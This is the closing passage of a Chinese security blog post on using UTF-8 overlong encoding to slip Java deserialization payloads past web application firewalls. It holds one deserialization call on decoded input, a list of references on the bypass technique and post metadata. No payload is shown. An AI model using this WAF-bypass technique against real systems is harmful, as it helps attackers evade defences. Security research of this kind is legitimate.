SerializeUtil.deserialize(decodedData);
}
}
}

Reference

UTF-8 Overlong Encoding导致的安全问题

java原生反序列化OverlongEncoding分析及实战-先知社区

‌⁡⁤⁣⁣‍‬⁣⁢‍‌‍⁢⁢⁤⁡‌⁢⁤⁣⁢‌⁡‬⁡⁡‍⁤⁢⁢⁢⁤‌探索Java反序列化绕WAF新姿势 - 飞书云文档

UTF-8 Overlong Encoding绕过学习 | clown

  • Title: UTF-8 OverlongEncoding
  • Author: exp3n5ive
  • Created at : 2025-09-21 20:24:10
  • Updated at : 2025-09-21 20:29:22
  • Link: https://exp3n5ive.github.io/2025/09/21/UTF-8 OverlongEncoding/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments